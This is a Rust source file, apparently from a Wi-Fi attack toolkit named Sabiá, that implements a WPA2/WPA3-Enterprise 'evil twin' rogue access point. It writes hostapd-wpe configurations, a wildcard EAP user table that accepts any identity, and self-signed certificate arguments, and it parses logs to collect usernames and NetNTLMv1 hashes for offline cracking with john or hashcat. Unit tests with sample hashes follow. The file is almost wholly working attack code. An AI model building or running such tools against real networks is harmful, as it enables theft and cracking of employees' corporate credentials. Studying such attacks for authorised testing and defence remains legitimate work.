Files
sabia/crates/sabia-core/src/eviltwin_enterprise.rs
T
Lucas RayanandClaude Sonnet 5 55e19a8e5b
CI / Format and clippy (push) Successful in 1m13s
CI / Dependency audit (push) Successful in 13s
CI / Tests (Linux) (push) Successful in 1m35s
Release / Create release (push) Successful in 7s
CI / Check desktop app (Linux) (push) Successful in 3m19s
Release / CLI (linux-aarch64) (push) Successful in 1m3s
Release / CLI (linux-x86_64) (push) Successful in 1m28s
Release / Desktop app (linux-aarch64) (push) Successful in 7m16s
Release / Desktop app (linux-x86_64) (push) Successful in 10m17s
Release / Desktop app (windows) (push) Successful in 4m54s
chore(i18n): finish translating code comments and scripts to English
Completes the English-only standardization for code, comments, scripts
and CI templates (UI/CLI-facing strings stay bilingual pt-BR/en,
untouched). Covers the remaining crates/, apps/gui/ui/ and
apps/gui/src-tauri/ comments, .gitea/ workflow and template comments,
.githooks/ hooks, and the scripts/ source comments for the files
already renamed in a prior commit (check.sh, generate-logo.py,
install-hooks.sh).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VAyr8d7HuAdUGB6aA5xmDD
2026-10-30 20:44:39 -03:00

225 lines
6.8 KiB
Rust

//! WPA2/WPA3-Enterprise (802.1X) Evil Twin: clones an Enterprise AP on a
//! secondary interface using `hostapd-wpe` to accept EAP (PEAP/EAP-TTLS with
//! inner MSCHAPv2) authentication attempts and log NetNTLMv1 challenge/response
//! hashes for offline cracking with `john` or `hashcat -m 5500`.
//!
//!
//!
//!
//!
//! Note: because the server certificate is self-signed, clients configured to
//! strictly validate the RADIUS CA certificate chain will reject the connection;
//! clients without strict CA pinning will complete the inner MSCHAPv2 exchange.
//!
//!
//!
//!
//!
//!
//!
//!
//!
//!
//!
//!
//!
//!
//!
use std::fmt::Write as _;
/// Generates the `hostapd-wpe` configuration for the Enterprise clone AP.
///
///
#[allow(clippy::too_many_arguments)]
pub fn hostapd_wpe_conf(
iface: &str,
ssid: &str,
channel: u32,
eap_user_path: &str,
ca_cert_path: &str,
server_cert_path: &str,
server_key_path: &str,
wpe_logfile_path: &str,
) -> String {
let mut out = String::new();
let _ = writeln!(out, "interface={iface}");
let _ = writeln!(out, "driver=nl80211");
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
let _ = writeln!(out, "channel={channel}");
let _ = writeln!(out, "auth_algs=1");
let _ = writeln!(out, "wmm_enabled=1");
let _ = writeln!(out, "ignore_broadcast_ssid=0");
let _ = writeln!(out, "wpa=2");
let _ = writeln!(out, "wpa_key_mgmt=WPA-EAP");
let _ = writeln!(out, "rsn_pairwise=CCMP");
let _ = writeln!(out, "ieee8021x=1");
let _ = writeln!(out, "eap_server=1");
let _ = writeln!(out, "eap_user_file={eap_user_path}");
let _ = writeln!(out, "ca_cert={ca_cert_path}");
let _ = writeln!(out, "server_cert={server_cert_path}");
let _ = writeln!(out, "private_key={server_key_path}");
let _ = writeln!(out, "wpe_logfile={wpe_logfile_path}");
out
}
/// Wildcard `eap_user` table: accepts any outer identity for PEAP/TTLS and
/// negotiates inner MSCHAPv2 so `hostapd-wpe` logs the challenge/response pair.
///
///
pub const DEFAULT_EAP_USER_FILE: &str = concat!(
"# gerado pelo Sabiá — aceita qualquer identidade, qualquer EAP externo\n",
"* PEAP,TTLS\n",
"\"anonymous\" TTLS-MSCHAPV2,MSCHAPV2 \"senha\" [2]\n",
);
/// Builds `openssl req` arguments to generate a 1-day ephemeral self-signed
/// RSA certificate and private key for the outer EAP-TLS/PEAP/TTLS tunnel.
///
///
pub fn openssl_selfsigned_cert_args(key_path: &str, cert_path: &str) -> Vec<String> {
[
"req",
"-x509",
"-newkey",
"rsa:2048",
"-keyout",
key_path,
"-out",
cert_path,
"-days",
"1",
"-nodes",
"-subj",
"/CN=sabia-wpe",
]
.into_iter()
.map(String::from)
.collect()
}
fn sanitize_conf_value(value: &str) -> String {
value.replace(['\n', '\r'], "")
}
/// A captured Enterprise credential: username plus NetNTLMv1 hash string
/// (compatible with `john --format=netntlm` and `hashcat -m 5500`).
///
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct CapturedCredential {
pub username: String,
pub netntlm: Option<String>,
}
/// Parses `hostapd-wpe` log output and extracts captured MSCHAPv2 / NetNTLMv1 credentials.
///
///
///
///
///
///
///
pub fn captured_identities(log: &str) -> Vec<CapturedCredential> {
let mut out: Vec<CapturedCredential> = Vec::new();
let mut current_username: Option<String> = None;
for raw_line in log.lines() {
let line = raw_line.trim();
if let Some(rest) = line.strip_prefix("username:") {
current_username = Some(rest.trim().to_string());
} else if let Some(rest) = line.strip_prefix("jtr NETNTLM:") {
let netntlm = rest.trim().to_string();
let username = current_username
.clone()
.or_else(|| netntlm.split(':').next().map(str::to_string))
.unwrap_or_default();
if !out.iter().any(|c: &CapturedCredential| {
c.username == username && c.netntlm.as_deref() == Some(netntlm.as_str())
}) {
out.push(CapturedCredential {
username,
netntlm: Some(netntlm),
});
}
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn hostapd_wpe_conf_includes_eap_and_tls_directives() {
let conf = hostapd_wpe_conf(
"wlan1",
"Corp\nWifi",
149,
"/tmp/eap_user",
"/tmp/ca.pem",
"/tmp/server.pem",
"/tmp/server.key",
"/tmp/wpe.log",
);
assert!(conf.contains("interface=wlan1"));
assert!(conf.contains("ssid=CorpWifi"));
assert!(!conf.contains("ssid=Corp\nWifi"));
assert!(conf.contains("hw_mode=a"));
assert!(conf.contains("ieee8021x=1"));
assert!(conf.contains("eap_server=1"));
assert!(conf.contains("eap_user_file=/tmp/eap_user"));
assert!(conf.contains("wpe_logfile=/tmp/wpe.log"));
}
#[test]
fn openssl_args_reference_the_right_paths() {
let args = openssl_selfsigned_cert_args("/tmp/k.key", "/tmp/c.pem");
assert!(args.contains(&"/tmp/k.key".to_string()));
assert!(args.contains(&"/tmp/c.pem".to_string()));
assert!(args.contains(&"-x509".to_string()));
}
#[test]
fn captured_identities_parses_username_and_netntlm_blocks() {
let log = "\
mschapv2: Thu Jan 1 00:00:00 1970
username: bob
challenge: aabbccddeeff0011
response: 1122334455667788990011223344556677889900aabbcc
jtr NETNTLM: bob:$NETNTLM$aabbccddeeff0011$1122334455667788990011223344556677889900aabbcc
mschapv2: Thu Jan 1 00:01:00 1970
username: alice
jtr NETNTLM: alice:$NETNTLM$0011223344556677$aabbccddeeff00112233445566778899aabbccdd
";
let creds = captured_identities(log);
assert_eq!(creds.len(), 2);
assert_eq!(creds[0].username, "bob");
assert!(creds[0]
.netntlm
.as_deref()
.unwrap()
.starts_with("bob:$NETNTLM$"));
assert_eq!(creds[1].username, "alice");
}
#[test]
fn captured_identities_dedupes_repeated_blocks_across_reparses() {
let log = "\
username: bob
jtr NETNTLM: bob:$NETNTLM$aa$bb
username: bob
jtr NETNTLM: bob:$NETNTLM$aa$bb
";
let creds = captured_identities(log);
assert_eq!(creds.len(), 1);
}
#[test]
fn captured_identities_returns_empty_for_a_log_with_no_credentials_yet() {
assert!(captured_identities("").is_empty());
assert!(captured_identities("hostapd-wpe v2.x starting up\n").is_empty());
}
}